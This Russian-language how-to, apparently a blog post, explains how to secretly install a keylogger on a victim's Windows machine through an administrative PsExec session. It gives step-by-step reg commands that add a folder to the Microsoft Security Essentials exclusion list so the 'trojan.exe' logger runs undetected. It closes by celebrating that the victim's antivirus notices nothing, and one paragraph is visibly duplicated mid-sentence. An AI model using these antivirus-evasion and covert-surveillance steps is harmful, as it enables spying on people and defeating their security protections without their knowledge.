Дано: Сессия PsExec (либо любая другая) с административными привилегиями на машине жертвы. У жертвы установлен Microsoft Security Essentials либо System Center Endpoint Protection.
Задача: Незаметно для жертвы установить кейлоггер.
Разберём неправильный и правильный способ решения данной задачи.
Для начала проверим, что произойдёт, если попробовать установить логгер "в лоб" без всяких ухищрений. Собираем бинарник, задаём в качестве рабочей директории что-нибудь неприметное, например c:\Windows\SysWOW64\WindowsPowerShell\
1. Открываем сессию PsExec
2. Кидаем установщик логгера в директорию c:\Windows\SysWOW64\WindowsPowerShell\ и запускаемЗадача: Незаметно для жертвы установить кейлоггер.
Разберём неправильный и правильный способ решения данной задачи.
Неправильный способ
1. Открываем сессию PsExec
c:\Windows\SysWOW64\WindowsPowerShell\trojan.exe
Ищем процесс кейлоггера
tasklist /fi "IMAGENAME eq VME.exe"
Его нет. А почему? Да потому что, антивирус успешно отработал и радостно сообщил об этом жертве.
Операция провалена...
Правильный способ
Список исключений для Microsoft Security Essentials хранится в ключе реестра HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
1. Для начала проверим его содержимое
reg query "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths"
В данном случае список исключений пуст.
2. Добавим в исключения директорию c:\Windows\SysWOW64\WindowsPowerShell\
reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths" /v c:\Windows\SysWOW64\WindowsPowerShell\ /d "1" /t REG_DWORD
и проверим результат
reg query "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths"
3. Помещаем логгер в выбранный нами каталог и запускаем его
c:\Windows\SysWOW64\WindowsPowerShell\trojan.exe
Проверяем результат:
tasklist /fi "IMAGENAME eq VME.exe"
PROFIT! Логгер запущен, а антивирус жертвы ни о чём не подозревает
Поправка на домен
- Если список исключений задан (в реестре есть какие-либо записи) устанавливаем логгер в любой из перечисленных там каталогов;
- Если список исключений не задан (записи в реестре отсутствуют) то политика исключений не настроена и мы можем смело вписывать туда нужный нам каталог.
В остальном порядок действий ничем не отличается.